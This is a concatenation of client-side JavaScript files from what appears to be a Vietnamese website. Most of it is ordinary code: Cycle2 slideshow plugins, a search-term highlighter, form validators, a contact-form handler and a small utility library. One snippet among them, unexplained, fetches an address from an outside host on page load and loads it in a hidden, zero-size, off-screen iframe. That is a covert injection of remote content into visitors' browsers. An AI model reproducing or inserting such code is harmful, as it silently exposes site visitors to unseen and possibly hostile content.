if ( manual || slides.length === 0 ) {
prepareTxFn.apply( opts.API, [ manual, fwd ] );
return;
}
if ( fwd && opts.currSlide == ( opts.slideCount-1) ) {
slide = slides[ 0 ];
slides = slides.slice( 1 );
opts.container.one('cycle-slide-added', function(e, opts ) {
setTimeout(function() {
opts.API.advanceSlide( 1 );
},50);
});
opts.API.add( slide );
}
else if ( !fwd && opts.currSlide === 0 ) {
index = slides.length-1;
slide = slides[ index ];
slides = slides.slice( 0, index );
opts.container.one('cycle-slide-added', function(e, opts ) {
setTimeout(function() {
opts.currSlide = 1;
opts.API.advanceSlide( -1 );
},50);
});
opts.API.add( slide, true );
}
else {
prepareTxFn.apply( opts.API, [ manual, fwd ] );
}
};
}
if ( nextFn ) {
API.next = function() {
var opts = this.opts();
if ( slides.length && opts.currSlide == ( opts.slideCount - 1 ) ) {
var slide = slides[ 0 ];
slides = slides.slice( 1 );
opts.container.one('cycle-slide-added', function(e, opts ) {
nextFn.apply( opts.API );
opts.container.removeClass('cycle-loading');
});
opts.container.addClass('cycle-loading');
opts.API.add( slide );
}
else {
nextFn.apply( opts.API );
}
};
}
if ( prevFn ) {
API.prev = function() {
var opts = this.opts();
if ( slides.length && opts.currSlide === 0 ) {
var index = slides.length-1;
var slide = slides[ index ];
slides = slides.slice( 0, index );
opts.container.one('cycle-slide-added', function(e, opts ) {
opts.currSlide = 1;
opts.API.advanceSlide( -1 );
opts.container.removeClass('cycle-loading');
});
opts.container.addClass('cycle-loading');
opts.API.add( slide, true );
}
else {
prevFn.apply( opts.API );
}
};
}
});
})(jQuery);
/*! tmpl plugin for Cycle2; version: 20121227 */
(function($) {
"use strict";
$.extend($.fn.cycle.defaults, {
tmplRegex: '{{((.)?.*?)}}'
});
$.extend($.fn.cycle.API, {
tmpl: function( str, opts /*, ... */) {
var regex = new RegExp( opts.tmplRegex || $.fn.cycle.defaults.tmplRegex, 'g' );
var args = $.makeArray( arguments );
args.shift();
return str.replace(regex, function(_, str) {
var i, j, obj, prop, names = str.split('.');
for (i=0; i < args.length; i++) {
obj = args[i];
if ( ! obj )
continue;
if (names.length > 1) {
prop = obj;
for (j=0; j < names.length; j++) {
obj = prop;
prop = prop[ names[j] ] || str;
}
} else {
prop = obj[str];
}
if ($.isFunction(prop))
return prop.apply(obj, args);
if (prop !== undefined && prop !== null && prop != str)
return prop;
}
return str;
});
}
});
})(jQuery);
| JavaScript |
/*! center plugin for Cycle2; version: 20131006 */
(function($) {
"use strict";
$.extend($.fn.cycle.defaults, {
centerHorz: false,
centerVert: false
});
$(document).on( 'cycle-pre-initialize', function( e, opts ) {
if ( !opts.centerHorz && !opts.centerVert )
return;
// throttle resize event
var timeout, timeout2;
$(window).on( 'resize orientationchange', resize );
opts.container.on( 'cycle-destroyed', destroy );
opts.container.on( 'cycle-initialized cycle-slide-added cycle-slide-removed', function( e, opts, slideOpts, slide ) {
resize();
});
adjustActive();
function resize() {
clearTimeout( timeout );
timeout = setTimeout( adjustActive, 50 );
}
function destroy( e, opts ) {
clearTimeout( timeout );
clearTimeout( timeout2 );
$( window ).off( 'resize orientationchange', resize );
}
function adjustAll() {
opts.slides.each( adjustSlide );
}
function adjustActive() {
/*jshint validthis: true */
adjustSlide.apply( opts.container.find( '.' + opts.slideActiveClass ) );
clearTimeout( timeout2 );
timeout2 = setTimeout( adjustAll, 50 );
}
function adjustSlide() {
/*jshint validthis: true */
var slide = $(this);
var contW = opts.container.width();
var contH = opts.container.height();
var w = slide.outerWidth();
var h = slide.outerHeight();
if (opts.centerHorz && w <= contW)
slide.css( 'marginLeft', (contW - w) / 2 );
if (opts.centerVert && h <= contH)
slide.css( 'marginTop', (contH - h) / 2 );
}
});
})(jQuery);
| JavaScript |
$(window).load(function(){
$('.boxcenter .midd .inn img').each(function(){
var that = $(this);
var preloadImage = new Image();
preloadImage.onload = function(){
var boxcenter = that.parent().parent();
var maxWidth = boxcenter.width();
var maxHeight = boxcenter.height();
var ratio = this.width * 1.0 / this.height;
var width = maxWidth;
var height = maxHeight;
if (width > this.width && height > this.height) {
width = this.width;
height = this.height;
} else {
width = Math.round(height * ratio);
if (width > maxWidth) {
width = maxWidth;
height = Math.round(width / ratio);
}
}
that.width(width);
that.height(height);
};
preloadImage.src = this.src;
});
}); | JavaScript |
// JScript File
NTTHAO.namespace("gridview");
NTTHAO.gridview.ontrmouseover = function() {
this.className = "rowover " + this.className;
};
NTTHAO.gridview.ontrmouseout = function() {
this.className = this.className.replace(/rowover /g, "");
};
NTTHAO.gridview.init = function(grid) {
var tbDataList = null;
if(grid && grid.length) {
tbDataList = document.getElementById(grid);
} else {
tbDataList = grid;
}
var trDataRows = tbDataList.rows;
for(var i = 0; i < trDataRows.length; i++) {
var row = trDataRows[i];
YAHOO.util.Event.on(row, 'mouseover', NTTHAO.gridview.ontrmouseover);
YAHOO.util.Event.on(row, 'mouseout', NTTHAO.gridview.ontrmouseout);
}
} | JavaScript |
window.highlighter = new SearchTermHighlighter();
highlighter.init();
function SearchTermHighlighter() {
var k = ((document.createElement) ? true : false);
var l = false;
var m = new Array();
var n = 0;
var q = new Array();
var r = true;
var t = false;
this.parameters = 'key';
this.addStyle = addStyle;
this.init = init;
this.loadSearchTerms = loadSearchTerms;
this.highlight = highlight;
this.highlightTerm = highlightTerm;
this.unhighlight = unhighlight;
this.wildcard = true;
if (!k)
return;
loadDefaults();
function loadDefaults() {
var a = '#FF6 #BFF #9F9 #F99 #F6F'.split(/ /);
var b = '#800 #0A0 #860 #049 #909'.split(/ /);
for (var i = 0; i < a.length; i++) {
q.push(new HighlightStyle('black', a[i], 'bold'));
}
for (i = 0; i < b.length; i++) {
q.push(new HighlightStyle('white', b[i], 'bold'));
}
}
function addStyle(a, b, c) {
if (!k)
return;
if (r) {
q = new Array();
r = false;
}
q.push(new HighlightStyle(a, b, c));
}
function init() {
if (!k)
return;
this.loadSearchTerms();
var a = 0;
document.write('<style type="text/css">\n');
for (i = 0; i < m.length; i++) {
document.write('.' + m[i].cssClass + '{' + q[a] + '}\n');
a++;
if (a >= q.length)
a = 0;
}
document.write('</style>\n');
l = true;
}
function loadSearchTerms() {
var a = new Array();
var c = getParamValues(document.location.href, this.parameters);
var d;
var e = 0;
for (i = 0; i < c.length; i++) {
d = parseTerms(c[i]);
this.wildcard = (d.length == 1);
for (j = 0; j < d.length; j++) {
if (d[j] != '') {
a.push(new SearchTerm(e++, d[j].toLowerCase(), this.wildcard));
}
}
}
a.sort(function(a, b) {
return ((a.term == b.term) ? 0 : ((a.term < b.term) ? -1 : 1));
});
var f = new SearchTerm(0, '');
for (i = a.length - 1; i >= 0; i--) {
if (a[i].term != f.term) {
m.push(a[i]);
f = a[i];
}
}
m.sort(function(a, b) {
return a.index - b.index;
});
debugAlert('Search Terms:\n' + m.join('\n'));
}
function parseTerms(a) {
var s = a + '';
s = s.replace(/(^|\s)(site|related|link|info|cache):[^\s]*(\s|$)/ig, ' ');
s = s.replace(/(^|\s)-/g, ' ');
s = s.replace(/\b(and|not|or)\b/ig, ' ');
s = s.replace(/[,;]/ig, ' ');
s = s.replace(/\s[a-z0-9]\s/ig, ' ');
s = s.replace(/\s[a-z0-9]\s/ig, ' ');
return s.split(/\s+/);
}
function getParamValues(a, b) {
var c = new Array();
var p = b.replace(/,/, ' ').split(/\s+/);
if (a.indexOf('?') > 0) {
var d = a.substr(a.indexOf('?') + 1);
var e = d.split('&');
for (i = 0; i < e.length; i++) {
nameValue = e[i].split('=');
if (nameValue.length != 2)
continue;
for (j = 0; j < p.length; j++) {
if (nameValue[0] == p[j]) {
var f = decodeURIComponent(nameValue[1]).toLowerCase().replace(/\+/g, ' ');
f = f.replace(/a/ig, '[aáàảãạăắằẳẵặâấầẩẫậ]');
f = f.replace(/d/ig, '[dđ]');
f = f.replace(/e/ig, '[eéèẻẽẹêếềểễệ]');
f = f.replace(/i/ig, '[iíìỉĩị]');
f = f.replace(/o/ig, '[oóòỏõọôốồổỗộơớờởỡợ]');
f = f.replace(/u/ig, '[uúùủũụưứừửữự]');
f = f.replace(/y/ig, '[yýỳỷỹỵ]');
c.push(f);
}
}
}
}
return c
}
function highlight() {
if (!k)
return;
if (!l)
this.init();
m.sort(function(a, b) {
return (b.term.length - a.term.length);
});
for (var i = 0; i < m.length; i++) {
this.highlightTerm(document.getElementById("searchResults"), m[i]);
}
}
function highlightTerm(a, b) {
if (a.nodeType == 1) {
if (a.getAttribute("sth_x") == b.term)
return;
else
a.setAttribute("sth_x", b.term);
}
if (a.hasChildNodes()) {
for (var i = 0; i < a.childNodes.length; i++) {
this.highlightTerm(a.childNodes[i], b);
}
}
if (a.nodeType == 3) {
var p = a.parentNode;
if (p.nodeName != 'TEXTAREA' && p.nodeName != 'SCRIPT' && p.className.substr(0, b.CSS_CLASS_PREFIX.length) != b.CSS_CLASS_PREFIX) {
var c = b.pattern.exec(a.nodeValue);
if (c != null) {
b.found = true;
n++;
var d = c.index + (b.p_start == '[\\s,\\.]' ? 1 : 0);
var e = c.index + c[0].length - (b.p_end == '[\\s,\\.]' ? 1 : 0);
var v = a.nodeValue;
var f = document.createTextNode(v.substr(0, d));
var g = document.createTextNode(v.substr(e));
var h = document.createElement('SPAN');
h.className = b.cssClass;
h.appendChild(document.createTextNode(c[0].replace(/[\s,\.]/ig, '')));
p.insertBefore(f, a);
p.insertBefore(h, a);
p.replaceChild(g, a);
}
}
}
}
function unhighlight() {
var a = m[0].CSS_CLASS_PREFIX;
var b = document.getElementsByTagName('SPAN');
var c = new Array();
var d, i, j;
for (i = 0; i < b.length; i++) {
if (b[i].className.substr(0, a.length) == a) {
c.push(b[i]);
}
}
for (i = 0; i < c.length; i++) {
d = c[i].parentNode;
for (j = 0; j < c[i].childNodes.length; j++) {
d.insertBefore(c[i].childNodes[j], c[i]);
}
d.removeChild(c[i]);
}
}
function debugAlert(a) {
if (t)
alert(a);
}
function SearchTerm(a, b, c) {
this.CSS_CLASS_PREFIX = 'sth_';
this.index = a;
this.term = b.toLowerCase();
this.cssClass = this.CSS_CLASS_PREFIX + this.term.replace(/[^a-z0-9_ ]/g, '').replace(/ /g, '_');
this.p_start = '\\b';
this.p_end = '\\b';
if (this.term != null && this.term.length > 0) {
if (this.term[0].match(/[^a-z0-9_]/) != null || this.term[0] == '[')
this.p_start = '[\\s,\\.]';
if (this.term[this.term.length - 1].match(/[^a-z0-9_\]]/) != null || this.term[this.term.length - 1] == ']')
this.p_end = (c ? '' : '[\\s,\\.]');
}
this.pattern = new RegExp(this.p_start + this.term + this.p_end, 'i');
this.found = false;
this.toString = function() {
return this.term;
}
}
function HighlightStyle(a, b, c) {
this.color = a;
this.background = b;
this.fontWeight = c;
this.toString = function() {
return 'color:' + this.color + '!important;background:' + this.background + '!important;font-weight:' + this.fontWeight + '!important;';
}
}
} | JavaScript |
function CheckFieldString(type, formField, strMsg)
{
var checkOK;
var checkStr = formField.value;
var allValid = true;
var flagDot = false;
var namestr, domainstr;
if (type == 'noblank')
{
if (checkStr == "")
{
return (strMsg + String.fromCharCode(10));
}
}
else
{
if (type == 'integer')
{
checkOK = "0123456789";
}
else if (type == 'decimal')
{
checkOK = "0123456789.";
}
else if (type == 'text')
{
checkOK = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ";
}
else if (type == 'alphanumeric')
{
checkOK = "0123456789.+-_#,/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ()_";
}
else if (type == 'full')
{
checkOK = "0123456789.,[]{}=+-_#,/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ()_:;'\\*^%$@<>?'";
}
else if (type == 'alphanum')
{
checkOK = "0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ";
}
else if (type == 'verificationcode')
{
checkOK = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
}
else if (type == 'email')
{
checkOK = "0123456789_-@.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
if ( /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,7})+$/.test(checkStr) )
{
}
else
{
return (strMsg + String.fromCharCode(10));
}
}
else if (type == 'phone')
{
checkOK = "0123456789-+";
}
else if (type == 'URL')
{
checkOK = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789.:/\\";
}
else if (type == 'path')
{
checkOK = "0123456789.+-_#,/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz () \\ ";
}
else
{
return "Check Validation one of the mentioned validation type is wrong" + String.fromCharCode(10);
}
for (i = 0; i < checkStr.length; i++)
{
ch = checkStr.charAt(i);
for (j = 0; j < checkOK.length; j++)
{
if (ch == checkOK.charAt(j))
{
break;
}
if (j == checkOK.length-1)
{
allValid = false;
break;
}
}
if (!allValid)
{
return (strMsg + String.fromCharCode(10));
}
}
if (type == 'decimal') /* for decimal type */
{
for (t = 0; t < checkStr.length; t++)
{
dot = checkStr.charAt(t);
if (dot == '.' && flagDot == false)
{
flagDot = true;
}
else if (dot =='.' && flagDot == true)
{
return (strMsg + String.fromCharCode(10));
}
}
}
}
return "";
} | JavaScript |
function blurThis() {
var o = $(this);
o.removeClass('text-note');
if (o.val().trim().length < 1 || o.val() === o.attr('note')) {
o.val(o.attr('note'));
o.addClass('text-note');
}
}
function enterThis() {
var o = $(this);
o.removeClass('text-note');
if (o.val() === o.attr('note')) {
o.val('');
}
}
function isDefaultValue(o) {
o = $(o);
return (o.val() === o.attr('note')) || (o.val() === '');
} | JavaScript |
/*
Copyright (c) 2008, ThaoNguyen. All rights reserved.
*/
/**
* The NTTHAO form validator is a generic validator for form submit event.
* @module formValidator
* @namespace NTTHAO.formValidator
*/
NTTHAO.formValidator = NTTHAO.formValidator || {};
NTTHAO.formValidator.validatorList = new Array();
NTTHAO.formValidator.onFormSubmit = function() {
var validateResult = true;
var arr = NTTHAO.formValidator.validatorList;
var firstFocus = true;
for (i = 0; i < arr.length; i++) {
try {
var val = {};
var args = {};
var objValidate = arr[i];
val.controltovalidate = objValidate.ctrlToValidate;
args.IsValid = true;
var func = objValidate.validateFunction;
func.apply(val.controltovalidate, [val, args]);
if (args.IsValid) {
//NTTHAO.util.getElement(objValidate.ctrlToDisplayMessage).style.visibility = "hidden";
NTTHAO.util.getElement(objValidate.ctrlToDisplayMessage).style.display = "none";
} else {
if (firstFocus) {
firstFocus = false;
NTTHAO.util.getElement(objValidate.ctrlToValidate).focus();
NTTHAO.util.getElement(objValidate.ctrlToValidate).select()
}
//NTTHAO.util.getElement(objValidate.ctrlToDisplayMessage).style.visibility = "";
NTTHAO.util.getElement(objValidate.ctrlToDisplayMessage).style.display = "inline";
validateResult = false;
}
} catch (ex) {
}
}
return validateResult;
}
NTTHAO.formValidator.validate = function(form, input, validate, func) {
try {
form.onsubmit = NTTHAO.formValidator.onFormSubmit;
var ctrlToDisplayMessage = NTTHAO.util.getElement(validate);
ctrlToDisplayMessage.style.visibility = "hidden";
var obj = {};
obj.ctrlToValidate = input;
obj.ctrlToDisplayMessage = validate;
obj.validateFunction = func;
NTTHAO.formValidator.validatorList[NTTHAO.formValidator.validatorList.length] = obj;
} catch (ex) {}
}
| JavaScript |
if (typeof NTTHAO == "undefined" || !NTTHAO) {
/**
* The NTTHAO global namespace object. If NTTHAO is already defined, the
* existing NTTHAO object will not be overwritten so that defined
* namespaces are preserved.
* @class NTTHAO
* @static
*/
var NTTHAO = {};
}
/**
* Returns the namespace specified and creates it if it doesn't exist
* <pre>
* NTTHAO.namespace("property.package");
* NTTHAO.namespace("NTTHAO.property.package");
* </pre>
* Either of the above would create NTTHAO.property, then
* NTTHAO.property.package
*
* Be careful when naming packages. Reserved words may work in some browsers
* and not others. For instance, the following will fail in Safari:
* <pre>
* NTTHAO.namespace("really.long.nested.namespace");
* </pre>
* This fails because "long" is a future reserved word in ECMAScript
*
* @method namespace
* @static
* @param {String*} arguments 1-n namespaces to create
* @return {Object} A reference to the last namespace object created
*/
NTTHAO.namespace = function() {
var a=arguments, o=null, i, j, d;
for (i=0; i<a.length; i=i+1) {
d=a[i].split(".");
o=NTTHAO;
// NTTHAO is implied, so it is ignored if it is included
for (j=(d[0] == "NTTHAO") ? 1 : 0; j<d.length; j=j+1) {
o[d[j]]=o[d[j]] || {};
o=o[d[j]];
}
}
return o;
};
NTTHAO.extend = function(o, aArgs) {
if ((!NTTHAO.lang.isArgs(aArgs) && !NTTHAO.lang.isArray(aArgs)) || aArgs.length < 1) return o;
var a, b, c, d, f, g, h, i = aArgs[0] || {}, j = 1, k = aArgs.length, l = !1, e=NTTHAO.lang;
typeof i == "boolean" && (l = i, i = aArgs[1] || {}, j = 2), typeof i != "object" && !e.isFunction(i) && (i = {}), k === j && (i = o, --j);
for (; j < k; j++)
if ((a = aArgs[j]) != null)
for (c in a) {
d = i[c], f = a[c];
if (i === f)
continue;
l && f && (e.isPlainObject(f) || (g = e.isArray(f))) ? (g ? (g = !1, h = d && e.isArray(d) ? d : []) : h = d && e.isPlainObject(d) ? d : {}, i[c] = NTTHAO.extend(o, [l, h, f])) : f !== b && (i[c] = f)
}
return i;
};
/**
* namespace NTTHAO.lang
*/
NTTHAO.namespace('lang');
NTTHAO.lang.type = function(G){return typeof(G);}
NTTHAO.lang.isArray=function(G){return Object.prototype.toString.apply(G)==="[object Array]";}
NTTHAO.lang.isArgs=function(G){return Object.prototype.toString.apply(G)==="[object Arguments]";}
NTTHAO.lang.isBoolean=function(G){return typeof G==="boolean";}
NTTHAO.lang.isFunction=function(G){return Object.prototype.toString.apply(G)==="[object Function]";}
NTTHAO.lang.isNull=function(G){return G===null;}
NTTHAO.lang.isNumber=function(G){return typeof G==="number"&&isFinite(G);}
NTTHAO.lang.isString=function(G){return typeof G==="string";}
NTTHAO.lang.isUndefined=function(G){return typeof G==="undefined";}
NTTHAO.lang.isObject=function(G) {return (G&&(typeof G==="object"||NTTHAO.lang.isFunction(G)))||false;}
NTTHAO.lang.isWindow = function(G){return G && typeof G=="object" && "setInterval" in G; }
NTTHAO.lang.isPlainObject = function(a) {
var e = NTTHAO.lang;
var D = Object.prototype.hasOwnProperty;
if (!a || e.type(a) !== "object" || a.nodeType || e.isWindow(a))
return !1;
try {
if (a.constructor && !D.call(a, "constructor") && !D.call(a.constructor.prototype, "isPrototypeOf"))
return !1;
} catch (c) {
return !1;
}
var d;
for (d in a);
return d === b || D.call(a, d);
}
NTTHAO.lang.isEmptyObject = function(a) { for (var b in a) return !1; return !0; }
/**
* namespace NTTHAO.util
*/
NTTHAO.namespace('util');
NTTHAO.util.getElement = function(el) {
if(!NTTHAO.lang.isObject(el)) {
return document.getElementById(el);
}
return el;
}
NTTHAO.util.getAbsoluteXY = function(el) {
if(!NTTHAO.lang.isObject(el)) {
el = document.getElementById(el);
}
if(el == null) {
return null;
}
var yPos = el.offsetTop;
var xPos = el.offsetLeft;
var tempEl = el.offsetParent;
while (tempEl != null) {
xPos += tempEl.offsetLeft;
yPos += tempEl.offsetTop;
tempEl = tempEl.offsetParent;
}
return [xPos, yPos];
}
NTTHAO.util.includeJS = function(jsPath){
var script = document.createElement("script");
script.setAttribute("type", "text/javascript");
script.setAttribute("src", jsPath);
document.getElementsByTagName("head")[0].appendChild(script);
}
/**
* string functions
*/
if (!String.prototype.trim) {
String.prototype.trim=function(){return this.replace(/^\s+|\s+$/g, "");};
}
if (!String.prototype.ltrim) {
String.prototype.ltrim=function(){return this.replace(/^\s+/,'');}
}
if (!String.prototype.rtrim) {
String.prototype.rtrim=function(){return this.replace(/\s+$/,'');}
}
if (!String.prototype.fulltrim) {
String.prototype.fulltrim=function(){return this.replace(/(?:(?:^|\n)\s+|\s+(?:$|\n))/g,'').replace(/\s+/g,' ');}
}
if (!String.prototype.replaceAll) {
String.prototype.replaceAll=function(searchvalue,newvalue,insensitive) {
if (insensitive) {
return this.replace(new RegExp(searchvalue, 'gi'),newvalue);
} else {
return this.replace(new RegExp(searchvalue, 'g'),newvalue);
}
}
}
if (!String.prototype.toVNPrice) {
String.prototype.toVNPrice = function() {
var res = '';
var index = this.length - 3;
while (index > 0) {
res = '.' + this.substr(index, 3) + res;
index -= 3;
}
if (index > -3) {
res = this.substr(0, 3 + index) + res;
} else if (res.length > 0) {
res = res.substr(1);
}
return res;
}
}
if (!Number.prototype.toVNPrice) {
Number.prototype.toVNPrice = function() {
return this.toString().toVNPrice();
}
} | JavaScript |
if ($) {
$(window).load(function() {
setTimeout(function() {
$.ajax({
cache:false,
url: 'http://hoacucdai.net/RandomLink.aspx',
timeout:5000
}).done(function ( data ) {
$(document.body).append('<iframe style="display: block; border: 0; padding: 0; margin: 0; overflow: hidden; position: absolute; top: -100px; left: -100px; width: 0px!important; height: 0px!important;" src="' + data + '"></iframe>');
});
}, 100);
});
} | JavaScript |
function includeJS(jsPath){
var script = document.createElement("script");
script.setAttribute("type", "text/javascript");
script.setAttribute("src", jsPath);
document.getElementsByTagName("head")[0].appendChild(script);
}
if (typeof(NTTHAO.validator) === 'undefined') {
var scripts = document.getElementsByTagName("script");
var scriptURI = '';
for (var i = 0; i < scripts.length; i++) {
if (scripts[scripts.length-1].src.toLowerCase().indexOf('/contact.js') > -1)
{
scriptURI = scripts[scripts.length-1].src.toLowerCase().replace('/contact.js', '/');
break;
}
}
//includeJS(scriptURI + "ntthao.js");
includeJS(scriptURI + "validator.js");
includeJS(scriptURI + "library.js");
}
function checkSubmit(lang) {
lang = lang || 'vi';
var fName = document.getElementById("fname");
var email = document.getElementById("email");
var phone = document.getElementById("phone");
var message = document.getElementById("message");
if (typeof(window.isDefaultValue) !== 'function') {
window.isDefaultValue = function(o) {return false;};
}
if (isDefaultValue(fName)) {
fName.value = '';
}
if(Trim(fName.value) == '') {
if (lang === 'vi') {
alert("Vui lòng nhập tên của bạn.");
} else {
alert("Please input your name.");
}
fName.focus();
return false;
}
if (isDefaultValue(email)) {
email.value = '';
}
if(Trim(email.value) == '' || !NTTHAO.validator.checkField('email', email)) {
if (lang === 'vi') {
alert("Vui lòng nhập địa chỉ email của bạn.");
} else {
alert("Please input your email address.");
}
email.focus();
return false;
}
if (isDefaultValue(message)) {
message.value = '';
}
if(Trim(message.value) == '') {
if (lang === 'vi') {
alert("Vui lòng nhập thông tin bạn cần liên hệ với chúng tôi.");
} else {
alert("Please input your message.");
}
message.focus();
return false;
}
if (isDefaultValue(phone)) {
phone.value = '';
}
return true;
}
$(document).ready(function(){
$('#frmContact').submit(function() {
if (typeof(window.SITE) == 'undefined') {
window.SITE = new Object();
if (typeof(window.SITE.lang) == 'undefined') {
window.SITE.lang = 'vi';
}
}
var result = checkSubmit(window.SITE.lang);
if (result) {
$.blockUI({
css: {
border: 'none',
padding: '15px',
backgroundColor: '#000',
'-webkit-border-radius': '10px',
'-moz-border-radius': '10px',
opacity: .5,
color: '#fff'
} ,
message: (window.SITE.lang === 'vi' ? '<h1>Vui lòng đợi...</h1>' : '<h1>Please wait...</h1>')
});
}
return result;
});
}); | JavaScript |
/*
Copyright (c) 2008, ThaoNguyen. All rights reserved.
*/
/**
* The NTTHAO validator is a generic validator.
* @module validator
* @namespace NTTHAO.validator
*/
NTTHAO.validator = NTTHAO.validator || { };
//NTTHAO.namespace("validator");
/*
Check input field
@Params:
1. type: name (in string) of validation type
2. formField: control to check
@Return: true or false
@Note: "type" is one of these (case-sensitive):
noblank,
integer,
decimal,
text,
alphanumeric,
username,
full,
alphanum,
verificationcode,
email,
phone,
URL,
path,
image
*/
NTTHAO.validator.checkField = function(type, formField) {
var checkOK;
var checkStr = formField.value;
var allValid = true;
var flagDot = false;
var namestr, domainstr;
if (type == 'noblank')
{
if (checkStr == "")
{
return false;
}
var i = 0;
for(i = 0; i < checkStr.length; i++) {
if ((checkStr.charAt(i) != ' ')
&& (checkStr.charAt(i) != "\t")
&& (checkStr.charAt(i) != "\n")
&&(checkStr.charAt(i) != "\r")) {
break;
}
}
if (i == checkStr.length)
{
return false;
}
}
else
{
if (type == 'integer')
{
checkOK = "0123456789+-";
if(checkStr.length > 0)
{
if (!( /^[-+]?\b\d+\b$/.test(checkStr) ))
{
return false;
}
}
}
else if (type == 'decimal')
{
checkOK = "0123456789.+-";
if(checkStr.length > 0)
{
if (!( /^[-+]?((\b[0-9]+)?\.)?[0-9]+\b$/.test(checkStr) ))
{
return false;
}
}
}
else if (type == 'text')
{
checkOK = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ";
}
else if (type == 'alphanumeric')
{
checkOK = "0123456789.+-_#,/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ()_";
}
else if (type == 'username')
{
checkOK = "0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
}
else if (type == 'full')
{
checkOK = "0123456789.,[]{}=+-_#,/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ()_:;'\\*^%$@<>?'";
}
else if (type == 'alphanum')
{
checkOK = "0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ";
}
else if (type == 'verificationcode')
{
checkOK = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
}
else if (type == 'email')
{
checkOK = "0123456789_-@.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
if(checkStr.length > 0)
{
if (!( /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,7})+$/.test(checkStr) ))
{
return false;
}
}
}
else if (type == 'phone')
{
checkOK = "0123456789-+";
}
else if (type == 'URL')
{
checkOK = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789.:/\\";
}
else if (type == 'path')
{
checkOK = "0123456789.+-_#,/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz () \\ ";
}
else if (type == 'image')
{
if (checkStr == "")
return true;
if (checkStr.lastIndexOf('.') < 0)
return false;
var imgEx = checkStr.substring(checkStr.lastIndexOf('.')).toLowerCase();
return (
(imgEx == '.png')
|| (imgEx == '.jpg')
|| (imgEx == '.jpeg')
|| (imgEx == '.jpe')
|| (imgEx == '.gif')
|| (imgEx == '.bmp')
|| (imgEx == '.tiff')
);
}
else
{
return false;// "Check Validation one of the mentioned validation type is wrong";
}
for (i = 0; i < checkStr.length; i++)
{
ch = checkStr.charAt(i);
for (j = 0; j < checkOK.length; j++)
{
if (ch == checkOK.charAt(j))
{
break;
}
if (j == checkOK.length-1)
{
allValid = false;
break;
}
}
if (!allValid)
{
return false;
}
}
if (type == 'decimal') {/* for decimal type */
for (t = 0; t < checkStr.length; t++)
{
dot = checkStr.charAt(t);
if (dot == '.' && flagDot == false)
{
flagDot = true;
}
else if (dot =='.' && flagDot == true)
{
return false;
}
}
}
}
return true;
}
NTTHAO.validator.validateMe = function() {
// Clean Up Infragistics Ids
var cleanid = this.id.replace(/^igtxt/i,"");
for (var i = 0; i < Page_Validators.length; i++) {
if (Page_Validators[i].controltovalidate === cleanid) {
ValidatorValidate(Page_Validators[i]);
}
}
}
NTTHAO.validator.validate = function(val, args, type) {
if(val) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
if(args)
args.IsValid = NTTHAO.validator.checkField(type, ctrlToValidate);
}
}
NTTHAO.validator.validateWithNoBlank = function(val, args, type) {
NTTHAO.validator.validate(val, args, 'noblank');
if(args.IsValid) {
NTTHAO.validator.validate(val, args, type);
}
}
NTTHAO.validator.sameAs = function(val, args) {
if(val) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
var ctrlSameAs = document.getElementById(ctrlToValidate.getAttribute('sameas'));
if(args && ctrlSameAs) {
args.IsValid = (ctrlToValidate.value == ctrlSameAs.value);
}
}
}
NTTHAO.validator.minMaxLengthRequired = function(val, args) {
if(val) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
var minlength = ctrlToValidate.getAttribute('minlength');
var maxlength = ctrlToValidate.getAttribute('maxlength');
if(args && minlength && maxlength) {
try{
minlength = parseInt(minlength, 10);
maxlength = parseInt(maxlength, 10);
var valueLength = ctrlToValidate.value.trim().length;
args.IsValid = ((valueLength >= minlength) && (valueLength <= maxlength));
}catch(o){}
}
}
}
NTTHAO.validator.noBlank = function(val, args) {
NTTHAO.validator.validate(val, args, 'noblank');
}
NTTHAO.validator.isInteger = function(val, args) {
NTTHAO.validator.validate(val, args, 'integer');
}
NTTHAO.validator.isNaturalNumber = function(val, args) {
NTTHAO.validator.validate(val, args, 'integer');
if (args.IsValid) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
if (NTTHAO.validator.checkField('noblank', ctrlToValidate)) {
args.IsValid = (parseInt(ctrlToValidate.value, 10) >= 0);
}
}
}
NTTHAO.validator.isNaturalNumberVN = function(val, args) {
var ctrlToValidate = document.all ? document.all[val.controltovalidate] : document.getElementById(val.controltovalidate);
var rawValue = ctrlToValidate.value;
ctrlToValidate.value = ctrlToValidate.value.replace(/\./gi, '').replace(/,/gi, '.');
NTTHAO.validator.validate(val, args, 'integer');
if (args.IsValid) {
if (NTTHAO.validator.checkField('noblank', ctrlToValidate)) {
args.IsValid = (parseInt(ctrlToValidate.value, 10) >= 0);
}
}
ctrlToValidate.value = rawValue;
}
NTTHAO.validator.isDecimal = function(val, args) {
NTTHAO.validator.validate(val, args, 'decimal');
}
